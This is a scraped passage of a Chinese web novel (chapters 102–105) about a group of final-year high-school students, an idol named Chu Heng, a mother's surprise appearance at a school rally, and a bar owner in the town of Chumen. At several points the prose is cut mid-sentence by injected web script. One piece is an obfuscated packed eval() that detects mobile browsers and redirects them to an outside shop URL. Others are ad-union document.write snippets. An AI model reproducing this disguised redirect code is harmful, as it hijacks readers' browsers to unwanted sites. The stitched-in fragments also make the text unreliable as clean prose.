周围的人群陷入细细密密的讨论声中,所有人都开始望着主席台上那个身影好奇地窃窃私语。 “胜家酒店!卧槽!” “我们学校什么时候这么有排面了?” “真的是谷玉本人啊!我上个月议论文案例还写过她!” “我上次看语文阅读也提到她了!居然是真人卧槽!” “突然打断了百日誓师的流程,中间临时插进来的,校长没生气?” “还生气?隔得这么远都可以看到,校长脸都快笑烂了。” …… 谷奕遥遥地站在人群中。操场上比肩继踵,讨论声像潮水一般把他包围。 “首先我要向一位同学道歉。会议临时改到了昨天晚上,飞机改成了凌晨。明明答应他要早点来,可是还是因为各种意外来晚了。不知道,他是否能够原谅我。” 谷奕骤然捏紧了拳头。 “今天在座的都是高三学子和家长们,大家都在为了高考而苦恼,为了学习而焦灼。其实社会有很多标准,世俗有很多定义,到处都是概念,模型之外的就变成了问题。可是世界其实广大无比,怎样活都是自己的人生,而我只希望他活得快乐,珍惜当下,去向往明天。” “最后,我想要送出一个祝福。” “祝高三一班的谷奕同学,苏琬同学,黄怀予同学,金榜题名。祝在帝都的楚同学,前程万里。最后祝所有人,无论在什么时候,都还能够记得自己最初的梦想。” * 谷奕仍然觉得自己在梦里。 直到他稍微有点清醒过来,才反应过来,他现在人已经站在了校长办公室里,面前就是已经和他半年没见的妈。 以及,旁边还站着五个自己完全不认识的领导,以周卫东为首,都面带笑容,眼冒金光,微微弓着身,站成一排,十双眼睛齐刷刷盯着中间的两人,满脸欣喜地看着眼前母子情深的一幕。 “热烈欢迎胜家酒店谷玉女士莅临楚门一中!” 周卫东红光满面,开始激动地鼓掌。 其他四个人也开始跟着校长鼓掌,一时间办公室里掌声雷动。 “……”在掌声中被围观的谷奕低头扶额,浑身难受,看哪都不自在。 他余光往右一扫,就看见黄怀予、苏琬和楚恒三个人,正全部乖巧地站在右边,也正在目不转睛地看着他。 其中黄怀予最为夸张,站得笔直,双手用力地鼓掌,满脸看热闹不嫌事大的表情,笑得极为开心,见牙不见眼。 “……”他瞪了她一眼,低声骂了一句,“撬边模子。” …… 周卫东赶紧趁热打铁,走上前两步,把一大束花都塞到了谷奕手里,眼里带着热切的鼓励。 “来!我们欢迎谷奕同学向自己的母亲献花!” !! 谷奕满脸惊讶地看着被塞进自己怀里的一大束太阳花。 和全校每人一枝随便发的穷酸小花不一样,这束花精心制作了绑带和插花设计,花上还带着新鲜的露珠,最旁边插着一张贺卡,上面写着五个大字: “妈妈,我爱你!” 谷奕已经呆立当场,脸上青一阵白一阵,什么反应也做不出来。 这时周卫东的声音再次响起。 “大家掌声鼓励!” 一波未平一波又起,旁边的四个西装革履的书记主任拍手拍得更加大声,连楚恒和苏琬都被周卫东的眼神暗示开始犹豫地鼓掌,谷奕甚至还听见右边传来黄怀予激动的叫好声。 “……” 他满脸黑线地看着手里的花,耳根已经变红。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740917|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他极其缓慢地抬头,瞄了一眼面前的谷玉,又迅速移开视线,眼睛看着地板,在周围雷鸣般的掌声里,别扭地把花递给她。 ——这一幕落在旁观的周卫东眼里简直是母慈子孝的名场面,他立刻站出来激动地喊道:“好!好!这个画面非常好,我们拍个照好不好?来!小张!快点来拍!” 谷奕一顿,又暗骂了一声操,怎么还没完? 他身体开始有点僵硬,还没有说出任何阻止的话,周卫东就三下五除二叫过来一个脖子上挂着相机的年轻男人,迅速安排好了拍摄角度,满脸笑容地指挥着两个人: “来!谷奕!你再把花递一遍!看着你妈妈的眼睛……对!” “我们三——二——一,好!” 拍完一张,他又赶紧拉着旁边的书记走到谷玉旁边,招呼着所有人,“来!我们一起合影一张好不好?来来来大家都过来!” ……就这样,还没反应过来的谷奕迅速被七八个人团团围住,他被困在正中间,手都不知道往哪里摆,僵硬而尴尬地站着。 “好!” 旁边传来黄怀予十分捧场的回应。 她一听要拍照,更兴奋了。如果能把谷奕的这尴尬一幕用照片留存,她以后随时随地翻到这张照片都能爆笑。 她立刻右手拉住苏琬,左手拉住楚恒,一个箭步就冲到了谷奕左边,冲他做了一个扭曲的wink,笑得像狐狸一样贼,果然收获了谷奕火冒三丈的怒瞪。 …… 这一幕就这样落在了一旁的楚恒眼里。 他盯着黄怀予抓着自己手臂的手,一会后又抬眼看向她的侧脸。 她的短发因为刚刚的跑动而有些凌乱地散在耳旁,侧脸的脸颊因为笑得开心而鼓出一个圆润的弧度,左侧领口的衣服稍稍落下去,露出了一小片肩膀的皮肤。 “……” 楚恒目光落在她肩膀的皮肤处。 结果下一秒,面前的女孩就好像想起什么,突然扭过头来,和他对视,眼睛睁得圆溜溜的。 她靠近,压低声音,“你不戴口罩?拍照你可以入镜吗?” “要是不行,你现在就去旁边。”她迅速松开抓住他手臂的手,认真思考着说,“或者你直接去那个拍照的小张那里站着,你不用说话,我帮你想理由。” 黄怀予等着面前男人的回答,却看见他就这样盯着自己,眼里明明灭灭,不知道在想什么,也不说话。 “说呀!” 她啧了一声,轻轻撞了一下他的手臂,作势要把他推出镜头之外。 “你放心,我编故事的能力一流,你要是不入镜站到镜头之外,我绝对给你想一个特别好的理由,他们都不会怀疑你的身份。” 这话说完,面前男人终于有了一点反应。楚恒淡淡地看着她,又过了两秒,喉结滚了滚,才慢吞吞说道: “没关系。” “啊?” 她还没想明白这句话是什么意思,前面就已经传来小张的声音: “三——二——一——好了!” 小张检查了一下相机的屏幕,露出满意的笑,“校长,我看下一期学校展示墙的名流风采就可以用这张。” “好!好!” 周卫东躬身去和谷玉握手,笑得合不拢嘴。 103. 第 103 章 中午十二点,百日誓师已经结束,午饭时间,校园里重归寂静。 黄怀予看看远处和谷玉站在一起的谷奕和苏琬,又看看站在自己身边的楚恒。 ——虽然她是很有眼力见地把楚恒拉过来,让那三位自行沟通,但是怎么感觉现在这种两两分组的感觉更奇怪了。 她不自觉看向楚恒,他身姿颀长,也不说话,就那样站着,微微低着头,手里有一搭没一搭把玩着身上校服的拉链。 他手指修长,把玩的动作也轻柔,一会揉搓一会拨弄,黄怀予瞥到他手背上交错突起的青筋,居然莫名脸上一红,移开了视线。 “楚老师。”她转移话题般开口,“你今天下午几点的飞机回帝都?” 男人顿了顿,“后天。” “后天?”之前他来楚门都是行程匆匆,这次居然要呆三天,“你平时工作不是很忙嘛?” 他慢慢呼出一口气,高挺的鼻间笼罩着一层淡淡的白雾。 “现在不忙了。” “也许之后,都不忙了。” 他声音冷静到有些麻木。 黄怀予听出他话里的消极,想到最近在网上看到的各种评论,也能猜到也许是组合或者是公司内部发生了什么事。 她想到之前楚恒给她发消息说自己发了新歌,那个时候他好像整个人还有一些开心的情感,好像对于未来真的还有一些希望——不像现在,似乎又回到了她第一次见他时的样子,整个人阴郁消瘦,漆黑的瞳孔里藏着消沉的情绪。 也许这次来楚门三天,对他来说算是散心? 她心头微动,非常想要鼓励他,于是不由得伸出手想要拍拍他的肩,临了又突然想到他的洁癖,最后又把手缩了回去。 “楚老师,虽然不知道你遇到了什么困难,但是你要努力期待明天。” “说不定现在的所有事情,都会在明天出现转机。” 身旁安静两秒,然后传来那人像是有些笃定的回答,“我不是一个幸运的人。” “这么巧?我也是一个很倒霉的人。” 黄怀予冲他笑了笑。 “也许你会觉得我头脑简单、过度乐观吧。李鸣月也这样说过我,她说我太年轻,学生时候的赤子之心在社会上只会被捶打到消失。” “可是八年前的她不是和我一样吗?一样年轻,一样对明天充满希望,一样觉得自己可以改变世界。” “你和她之前都是同一家公司的。她当初为什么会辞职?她为什么要离开帝都回楚门开一家酒吧?她可以随意用一个大人的语气,来给我各种各样市侩的工具性的建议,但是和八年前相比,我相信她心里那个想要坚持的东西依然没有变吧。” “我现在每天一睁眼就是学习、考试和无数个竞争对手,一闭眼就是家里的破事和讨厌的人。可是当我每天早晨起床,困得眼睛都睁不开的时候,就会远远看见学校门口的热干面摊,和早晨六点半的阳光。人生不是只有黑暗的,对吧?对我来说,早餐的香气和阳光洒在自己脸上的感觉,会让我觉得我还活在光明里。” 她慢慢走到前面,背上的书包随着她的步伐摇摇晃晃。 楚恒的眸光一闪,随后视线牢牢地落在了书包上,那个同样摇摇晃晃的太阳挂坠。 ……他停住了脚步。 认真盯着那个挂坠好几秒后,他迅速向前伸手,摸到了它。 毛绒的,柔软地蹭过他的皮肤,太阳嘻嘻哈哈地咧开嘴笑着。 前面的女孩也停下脚步,依然背对着他说着话。 两人一前一后地站着。 挂坠停留在他宽大的掌心。他握紧,极其缓慢地抚摸。 一秒,两秒,三秒。 下一刻,面前的少女突然转过身,挂坠随着她的动作从他手里“嗖地”跳走。 楚恒保持着伸手的姿势,手里却空了。抬起头来,正好撞进少女明亮的眼睛里。 “所以楚老师,你也可以去找找你喜欢的东西,和生活中的光明!这样你就会觉得,宇宙就算再黑暗,也是会有光在前方指引方向的。” “……嗯。” 楚恒应了一声,慢慢地收回手,插进口袋里,一动不动地看着她。 “我应该已经找到了。” 他开口。 阳光和煦,风也温和,他眼眸里的情绪像墨色一样流淌,闪动着流光溢彩的碎星。 …… “汪汪!” “汪汪汪!” 两声兴奋的狗叫声从前方传来,黄怀予扭头,看见墙根坐着一只毛很长的黄色大狗,正吐着舌头哈着嘴,冲着黄怀予笑。 “小楚!” 她跑过去,蹲了下来,伸出手用力地揉狗头。 揉着揉着,这狗突然从她的手里钻了出去,一下子蹿到了她身后的某一个方向,飞奔到了楚恒脚边,去咬楚恒的裤腿,尾巴摇得飞起。 那一副谄媚的样子,简直像看见了主人。 “?” 黄怀予大怒。 “小楚!” 她跑过去,蹲在楚恒脚边,用力箍住狗头,来回地晃。 “你怎么这么喜欢他?” 头顶响起一道低沉的磁性声音,似乎含了点笑。 “也许它还记得那根火腿肠。” “火腿肠?” 黄怀予抬起头,疑惑地去看那人。 “什么火腿肠?” 楚恒脸上的浅淡笑意骤然僵住。 他周身气压一下子变低,逆着光站着,脸上的表情看不分明,只能看见他紧抿的唇。 下一秒,黄怀予的袖子就被扯住,整个人都被拉了起来,对上楚恒那双黑白分明的眼睛。 他像是想要求证什么,目光紧紧落在她脸上。 “你不记得了?” “记得什么?”黄怀予愣神。 她满脸无辜困惑的表情成功又让楚恒脸黑了一个度。 “你觉得,” 他声音很沉,有点哑,像是带了点咬牙的意味, “我们第一次见面是什么时候。” 怎么突然问这个? 黄怀予眨眨眼,“在1969啊。你唱歌,我吃东西,吃多了急性肠胃炎,你送我去医院。” “……” 黄怀予每说一句,楚恒的脸色就黑了一分。 她完全不记得。 不是忘了,不是需要人提醒,是她完完全全就没在意,没记住,像是根本不存在。 2017年8月31日早晨六点四十五分。 在云省楚门一中校门左边一百米的“佳佳早餐店”门口的低矮木头桌子边。 一个坐在左边第一张凳子。 一个坐在左边第三张凳子。 隔着一个座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744462|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位,十分钟,没有人说话。 “佳佳早餐店”门口的小巷拐角,墙根下,那只叫做“小楚”的中华田园犬。 先吃了一根便利店的火腿肠,又被喂了一盘早餐店的五块钱的卤牛肉,只是它吃饱了,对卤牛肉意兴阑珊,最后被她骂了两句“小楚,你个渣狗”。 她那天上半身穿了一件橙色的短袖,下半身穿了一条牛仔短裤。 半扎丸子头,戴着眼镜,背了一个黄色的书包。 书包有点旧,看上去背了很久,上面挂着一个Q版迪迦挂件。 脸上似乎很是困倦,完全没睡醒,吃面的速度很慢,头顶还翘起了一根不听话的头发,没精打采地差点垂进碗里。 她和他对视的第一眼,她好像是被他满脸冷意吓到了,有点愣神。 她对他说过的第一句话是: “我排队,你继续喂。” …… 黄怀予心越来越慌。 她觉得面前的男人似乎身体离她越来越近,那张俊脸在她眼前越来越放大,手抓她的袖子越来越紧,眉眼压了下来,那双眼睛像鹰隼一样紧紧盯着她。 ——不是说这人有洁癖,碰他一下他能离你两米远吗?! 她赶紧把头往后仰,稍微拉出一个安全距离。 她越往后仰,男人拉她袖子的力气越大,她越躲,男人越步步紧逼。 黄怀予只能慌张后退两步。 结果脚边不小心踩过什么东西,下面立刻响起小楚“汪汪”的叫声,她吓了一跳怕踩到小楚的尾巴赶紧抬起脚,整个人眼看就要瞬间失去平衡。 下一秒她就被一股大力扯到一个怀抱里,整个人在惯性作用下都扑到那人胸前,双手手腕被他扯过,紧紧抱住了他精瘦的腰。 熟悉的,只属于他的小苍兰香味把她紧紧裹住,还混着一丝橙子的清爽气息,两股味道纠缠在一起,萦绕在她鼻尖。 眼前就是少年人的胸膛,带着一点点坚硬,宽阔,温热,像是一团火。 …… 黄怀予的脸“刷——”地一下就红了。 现在这样,就像是楚恒直接抓着她的手,搂住了自己的腰,把她整个人都抱在了怀里。 他动作带着一股不由分说的强硬,像是有点不满。头轻轻地垂下,带了一丝失落和受伤,发丝蹭在她耳畔,带来细小的痒意。 !! 黄怀予浑身一震。 她反应迅速地挣开那人抓住她手腕的手,从他怀抱里挣扎出来,站稳了身体。 “……”她低着头,不敢再去看那人的眼睛。 一个乌龙的拥抱已经够尴尬了,饶是黄怀予这种乐子人也很难再说出什么插科打诨的玩笑话来调节气氛。 一丝尴尬的沉默在两人周围静谧地飘散。 小楚还在两人脚边笑嘻嘻地转来转去,尾巴摇得像螺旋桨一样欢快。 楚门的风微微吹过来,带着丝丝冷意,吹动了少女少男的发丝。 周围空气安静半晌。 黄怀予咬着牙,想自己要不要说点什么打破尴尬,毕竟自己在人群中一直都担任这种角色。 可是她才刚准备开口,就听见头顶传来一道声音。 ——很低,微哑,呼吸有些急促,有些粗重。 “你不记得和我的第一次见面。” “那你记得你和卫语的吗。” 104. 第 104 章 黄怀予又被问懵了。 楚恒今天怎么老是提到卫语? 关他什么事? 她“哈?”了一声,有点一言难尽地看他,但是还是老老实实回答,“呃,跟他是初一的时候,在教室里。” 楚恒身上的低气压简直像暴风雨来临。 “哪一年,几月几号。”他黑沉沉的眼睛盯着她,吐出几个字,“记得吗。” 黄怀予挠挠头,“2012年9月1号。” 她能记得这个时间纯粹是因为这个时间段很特殊,因为那天是初中开学第一天啊!她和卫语是初中同班同学,第一次见面当然是9月1号了! 却没想到,这个精确的时间段一出来,楚恒眸光闪了闪,脸色黑得像锅底。 他扯了扯嘴角,笑了一下,“嗯。记得很清楚。” “……”黄怀予联系了一下刚刚两人所有的对话,终于感觉明白了什么,把话题重新拉了回来,“楚老师,你是不是想说,我们第一次见面不是在1969?” “不在。” 他目光落到她脸上,慢慢开口,话里明明慢条斯理,却让人觉得好像压抑着什么浓烈的情绪。 “就在这里。” 他低下头,看了一眼两人脚边那只欢快的狗。 “和它一起。” 她也跟着低头,看了小楚一会,突然脑中闪过一道白线。 “啊!” 她猛然抬起头。 “你是那个怪裸?” “什么?”楚恒轻微皱了一下眉,没听懂她突如其来的楚门话。 “……哈哈,没什么。”黄怀予把解释给咽了回去,这方言解释起来有点脏,实在是不适合被当事人知道。 她终于完完全全回忆起来了。 “怪不得呢……” 她盯着面前楚恒这双眼睛,喃喃道,“那天我就说怎么在楚门活了十七年都没见过那么好看的男生,但是高三开学第一天就遇见了……我当时还觉得这一定预示着我当天运气很好。” 楚恒刚刚还沉沉的目光突然一愣。 “你那天一头金发,好像穿得也很帅,整个人很高冷的样子,蹲在墙边喂小楚吃火腿肠,超级帅的,那一幕像画一样。” “……”楚恒目光垂下偏向一边,轻咳了一声。 “不仅长得帅,还很有爱心,特地去买了火腿肠喂狗。你当时还看了我一眼,很冷淡,但是那一眼特别好看,背后还有阳光照在你身上,像一个神仙下凡一样。” 楚恒有些慌乱地眨了眨睫羽,耳根泛上一点红,咬牙道,“……嗯。知道了。” 黄怀予及时闭上了嘴,笑嘻嘻地看他。 “都是实话哟!” 楚恒抿紧了唇,抬眼盯着她眼里像狐狸一样狡黠的光,沉默不语。 早该想到的。 她这么聪明,人际关系处理得这么好,怎么会不知道别人最喜欢听什么话。 她演得逼真,情感真挚,谁也看不出来她的话到底是不是出自真心,还是只是为了安抚对面的人快要生气之时的权宜之计。 楚恒低下头,叹口气。 算了。 小楚在他脚边兴奋地蹭来蹭去,尾巴摇摇晃晃,像是无知无觉,就算此时此刻两人谁都没有心思去管它,但是只要两人站在这里给它蹭腿,它就已经很兴奋了。 嗯。 小楚心甘情愿的。 他也是心甘情愿的。 …… “别蹭了!” 黄怀予蹲下身,摸摸狗头。 半晌,头顶传来那人的声音: “它,为什么叫小楚。” 很平静,但是细听却能听出来一丝颤抖,和当事人掩饰得很好的暗暗期待。 ——“因为它是楚门的狗呀!” 黄怀予笑着回答。 想问已久的问题终于得到了最终的答案,像是心中一块石头落地。楚恒慢慢蹲下身,面前的女孩低着头一心一意地摸狗,他却只是盯着她。 “我在楚门一中门口见到它的。它好可怜哦,当时被其他几只狗欺负,抢不到吃的,瘦瘦的。” “但是很可爱,我不自觉就过去开始喂它了。” “它一开始很抵触我,对我很有戒备心,连摸头都不愿意。但是后来我天天去喂它,它慢慢地就很依赖我,到现在连肚子都可以敞开让我摸了。” “现在就会觉得,好像我真的变成了它的主人,它完完全全是我的。” 楚恒的目光一点点下移,最终落在了黄怀予正在摸小楚的手上。 五指纤细,手背血管不明显,一下一下,动作轻柔,温和地抚摸着。 “怎么啦,你觉得这名字不好吗?”黄怀予突然想到什么,“因为你的名字里也有楚?” 那只手随着主人的动作也跟着停了下来。 摸了半截却不动了,小楚哼哼唧唧,挺起鼻子去蹭黄怀予的手。 楚恒只觉得那只手像是也停在了他的心上,一下一下被刺着,难受得紧。 他盯着她的手,喉结滚了滚。 “没有。” “很好。” “就叫这个吧。” …… “杯姐——” 后面传来一道懒散的声音,黄怀予站起身看过去,谷奕和苏琬远远地站在行政楼门口的楼梯上,谷玉女士和其他一堆主任书记都不见了,只剩他们两个人。 看来大人物已经走了,现在他们四个人终于可以一起去吃午饭了。 黄怀予看了一眼楚恒,想着午饭后的安排,“对了,你下午是不是要等谷奕一起出去玩?” “可是他下午要上课,应该没空陪你。你如果一直呆在楚门的话,可以去找我小姨……” 楚恒直接打断,“我不是来找他的,也不是来找月姐的。” 黄怀予一怔,“那你今天来楚门……” 楚恒站在她面前,微微俯下身,一字一字说: “我今天说的每一句话,都是真话。” ? 什么意思? 他今天说了什么? “外婆好,我叫楚恒,帝都人,是黄怀予的朋友。” “我今天,是来楚门一中找黄怀予的。” “那就送给你。” “太阳花的花语,热烈勇敢,向往光明,还有……沉默的爱。” …… 她愣了,呆呆地看着他。 “还有一件事。”楚恒低头,看着身上的校服,手慢慢地抬起来,慢条斯理地脱了下来。 “我还没有把校服还回去。” 黄怀予依然怔怔地看着他,像是老年痴呆。 好几秒后才跳转到现在的情境,伸手接过他手里的校服,“哦。我帮你还。” 她脑子仿佛终于能转动了,说,“我等会就还给谷奕。” “不是谷奕的。” “不是谷奕的?”她重复,突然想到谷奕今天一整天身上都穿着校服。 如果谷奕身上的是他自己的校服,那手上这件是谁的? 她又低头看着手里的校服两秒钟,“程朗的?” 楚恒不说话。 她又猜,“白度的?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>楚恒依然看着她。 她嘴上没个把门的,已读乱回,“杨天奇的?马辉的?周卫东的?” “总不可能是我的?” 楚恒一下子看进她的眼睛里,漆黑的瞳孔里闪过愉悦的笑意。 “……”黄怀予站在原地,眼睛一点一点地睁圆,整个人如同被雷劈中。 * 黄怀予最近总觉得,马辉怪怪的。 他自从觉得自己、苏琬和谷奕三个人之间搞三角恋之后,每次看见三个人走在一起都一副死鱼脸,到最后还会给谷奕飞几个眼刀过去。 但是现在…… 黄怀予看着教室投影仪上的新座位安排。 她、苏琬和谷奕的名字居然又被排在了一起! 她抬头看着投影仪没动,周围已经响起刺耳的拖拉桌子的声音,下一秒谷奕那张帅得张扬的脸就出现在自己面前。 他还冲黄怀予抛了个媚眼,趾高气扬地搬着桌子,走进女生群体的围绕中,重重地放下了,心情无限好。 “一定是因为我这两次月考考得太好了!马辉终于被我感动了!才满足了我想要和你们一起坐回来的愿望!” 黄怀予和苏琬对视一眼。 教室讲台的小桌子上就放着新一期的《楚门日报》,开封极其显眼的标题就是“胜家酒店创始人谷玉女士回到家乡楚门,惊喜出席楚门一中高三百日誓师大会”,然后一张谷玉和周卫东握手的巨大照片。 ……她想到这段时间以来马辉每次遇见她们三个人都显得越来越慈爱的面容。 “大傻。” “怎么了?” “没事。”黄怀予嘻嘻一笑,“就是想这样叫你一声。” …… “对酒当歌,人生几何!” “譬如朝露,去日苦多。” “慨当以慷,忧思难忘。” “何以解忧?唯有杜康。” 第二次八校联考结束。 黄怀予年级第十名。苏琬年级第十二名。谷奕年级第七十三名。 离高考越来越近,所有人都陷入了一种平静的疯狂当中。 艺术生走了一大半,体育生的女朋友们纷纷远上一线城市参加考试,体育生更觉无聊,开始互相借阅《飞言情》《桃之夭夭》《花火》《爱格》,看得不亦乐乎。 谷奕塞着耳机走在寝室到教学楼的路上,一边狼吞虎咽地吃小笼包,一边昏昏沉沉地听英语听力。 苏琬低头在教室里做题,扔掉昨天刚刚换上的笔芯,埋在几十厘米高的书堆里短暂地闭了十秒钟的眼睛。 黄怀予蹲在一号楼天台,一个人哭着背历史,手机上刚刚挂断了和母亲的通话,通话最后是母亲带着哭腔的哽咽:“我也不想被骗十几万,我也没想到会这样,你别怪我,我只是想给你读大学攒点钱”。 林潇潇缩在帝都火车站门口五十块钱一晚的小旅馆房间里,谨慎地盯着锁不上的破旧门把手,书包里放着明天帝都电影学院的准考证。 李唯艺坐在空无一人的画室里,夜晚周围漆黑一片,她转转酸痛的手腕,捏着画笔扶扶眼镜。 校园里高高的电线杆上挂着破旧的喇叭,里面传出胡北抑扬顿挫的声音。彼时正值嘻哈类综艺节目火爆之际,播音主持专业的艺术生一向紧跟潮流,每天都放着JonyJ的《不用去猜》: 我知道灯不会在任何时候为我开 是好是坏该不该 还没来的不想猜 有谁能真的看得清楚 哪里是归宿 要怎么组未来的拼图 先走好每一步 105. 第 105 章 李鸣月独自一人躺在1969正中间的沙发卡座里。 “李老板,卫生做好了哈,你去检查检查?” 旁边响起保洁阿姨带着浓重楚门口音的普通话,李鸣月动也没动,懒懒回答,“不用了张阿姨,你办事我放心。” 她从桌上拿起一个红包,递给张阿姨。 “你都在我这干了一年整了,谢谢你啊。这是一点心意,之后还要继续麻烦你帮我做了。” “哎呦李老板你这是做么斯!” “你关照我,让我过来给你做事,我已经很感激了!” 张阿姨很是感动百般推辞,李鸣月说讨个好彩头,终于让对方收下了。 李鸣月看着她欢欢喜喜离去的背影。她前几天才得知张阿姨孙女生病了,估计直接给钱对方也不会收,正好趁着工作一周年这个日子包个红包。 李鸣月心情很好地重新躺回了沙发,结果不小心扯到酸痛的肌肉,痛得龇牙咧嘴。 昨天晚上又是一场大型演出,她满场到处走,累得腿都抬不起来,昨天晚上喻轻泉一边埋怨一边给她揉了一晚上。 ……但是今天白天还是得过来,卫生要是不做,就得招虫了。 李鸣月静静躺在只有她一个人的酒吧里。 昨夜人声鼎沸灯红酒绿的情景像是还在梦里,转眼间这里就已经变得干干净净,桌椅全都摆放整齐,地板上是刚刚擦过还没干透的水渍。 手机微信响了一声,李鸣月不用打开也知道是会计在工作群里发来的帐。这几个月流水很不错,十分稳定,上个月春节还大涨了一番,她给所有员工都涨了工资发了奖金,群里一片欢呼雀跃。 旁边柜台上的蓝牙音响轻轻柔柔放着喜欢的歌,她困意突然有些消散,睁着眼看着天花板,内心闲适无比。 …… “叮铃铃”风铃声响起,门被推开,冷风呼啸进来,带来一阵初春的寒气。 李鸣月头也没抬,对着刚刚进门的人说: “来了?” 那人应了一声,径直走到吧台,给自己倒了一杯水喝。 李鸣月懒懒坐起来,看着刚刚才下飞机过来的梁吟东。 “我说,你最近才刚刚开始筹备新公司,事情这么忙,干嘛还老是来我这?” 梁吟东看她一眼,“不欢迎?” 李鸣月嘻嘻一笑,“这怎么可能,你每次来都点贵价酒,我高兴还来不及。” 梁吟东端着水杯坐在对面的沙发里,没说话。 她也不知道自己为什么老是来1969。 她总感觉这里有一种魔力,来了就想再来。这里好像是充满麻烦的世界里一个小小的桃花源——虽然把一家酒吧当成桃花源这件事情听上去非常扯,但是梁吟东心里真的是这样认为的。 上班十几年,一直给别人打工。打工打久了,还一直保持单身的人,平时只有一种感觉,就是“有钱没处花”。 学生时代大把时间想要出去旅游,想要出去吃饭,想要和朋友们不醉不归混迹各种场所,无奈困住自己和朋友们的就是金钱——只能不断做计划,寻找“性价比”高的攻略。 终于工作了,每月稳定进账,却和朋友们渐行渐远,工作日九个小时雷打不动坐在办公室里,把身体和灵魂都卖给老板,唯一的周末也只想躺在床上,失去了所有消费欲望。 她已经不需要计划,已经不需要满世界寻找高性价比的机酒套餐,可是她却觉得自己的灵魂,也跟着死在了被当作“高性价比人力资源”的世界里。 金钱特别重要。没有钱会死。 比金钱更重要的,是时间,是心情,是体验,是冲动,是情感价值意义。要她直接死在情感最充沛的那一刻,她也愿意。 可惜这个道理,梁吟东在三十几岁的时候才明白。 …… 李鸣月站起身来去给她弄了一杯百利甜。 她跟李鸣月随意聊了两句,坐下喝了两口酒,安安静静听了几首歌。 “怎么样了。” “目前还算顺利。” 李鸣月看着她有一句没一句聊着她新公司的状况,心里还是有点不敢相信。 前几个月她还突如其来地来到楚门这个完全没来过的小城市,像是一个被逼离职的社畜无处寻找人生的意义,失魂落魄地推开了1969的大门,跟李鸣月聊梦想和人生,说她现在一无所有了。 结果现在,人家已经迅速重整河山,精神抖擞地立志创办一家属于自己的娱乐公司,给别人打工不如给自己打工。 “你调理的速度也太快了。” 李鸣月想了想,犯了一句贱,“比我喝中药调理同性恋的速度还快。” 梁吟东笑得酒差点洒出来,往后一躺,“说件正事。现在我这基本上已经走上正轨了,你要是之前还有什么人脉,给我介绍一下。” “我?” 李鸣月大吃一惊。 “你在圈子里可比我名声大多了,你还缺我这里的人脉?” “我不嫌多。”梁吟东看她,“要是论起音乐圈的,你不比我少。” 李鸣月闭上嘴琢磨了一会。 梁吟东说的确实也是实情。 她虽然早就从新娱辞职了,看似回了楚门这个小城市,但是这几年下来因为1969也算结交了很多人。 要是说起小有名气的艺人,梁吟东肯定认识更多。但是要是说起零经验的新人,李鸣月还真的知道不少,毕竟她这家酒吧的歌手招募每次就足够火热了。 ——1969每个歌手的招募都极其严格,酒吧名声起来以后来参加选拔的更多,全都是李鸣月亲自选出来的。 这些人有的是江城音乐学院的学生,还有一些是已经做了十几年酒吧驻唱的老歌手,还有一些唱歌好的网红,甚至……还有一个新娱公司现役男子偶像团体的主唱兼Center。 李鸣月突然问: “新娱合约还剩五年的话,解约金多少?” “?”梁吟东奇怪地看她一眼,没明白突然转变的话题,但是还是回答道,“不同人情况不一样。” “楚恒那种呢。” “……”梁吟东一顿,“那估计几百万。” “真黑啊。” 李鸣月感叹一句,“我估计楚恒最近日子也不好过吧。走又走不掉,赔又赔不起,留下来也是浪费光阴,那家公司里没几个正常人,能出头就有鬼了,白白浪费大好年华。” 梁吟东沉默两秒。 “也是我对不起他,带他三年,没给他带来任何东西。” “这是什么话?”李鸣月极其不同意地看她一眼,“那家公司里没几个正常人,你是仅剩的几个正常人。” “都决定走出来了,还去想这些事干嘛?STAR已经跟你无关了。世间之事,尽人事听天命,不愧对任何人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 梁吟东把杯里的酒一饮而尽。 沉重的责任感和压力随着酒液一起滑了下去,她释然地说:“嗯。” * “这段改一下,中间位给赵焰。” “这首歌part也换一下,音源重新录。” “等会上节目,赵焰坐中间。” 歌曲分段大变动,舞台动线重新调,官方站位换了新的。 STAR新任经纪人胡权在STAR官博发出内容,成员楚恒由于个人身体健康状况,已经不再适应Center位的工作压力。因此经过成员一致协商,最终决定现有团队活动将重新改变唱词分段与舞台分配。 …… 楚恒是被电话铃声吵醒的。 “喂……”他还没清醒,声音里夹杂着沙哑,带了一点黏糊。 “兄弟?你在睡觉?” 对面谷奕的声音极大,带着极其愤怒的情绪,简直汤家凤附体。 “你还有心情睡觉?!我才看到你们官博发的!” “你怎么了!你受委屈了是不是!” “你说!快说!快说!” “凭什么?你病了我怎么不知道?谁说你病了?他们睁着眼睛说瞎话?还有王法吗?还有法律吗?” “你说呀!” “你为什么不说话?你怎么了?你是不是又在吃安眠药?” “快说呀!” “……”楚恒终于清醒了一点,适时找准气口,“你没给我说话的机会。” 对面噎了一下,这才喘了两声,稍微压下了怒气。 “行,我闭嘴先。你说吧。” 话到嘴边也不知如何说起,楚恒顿了几秒,只平淡回答:“是。” 谷奕一愣,意识到这声“是”就是为了解释刚刚那一大串问题的。 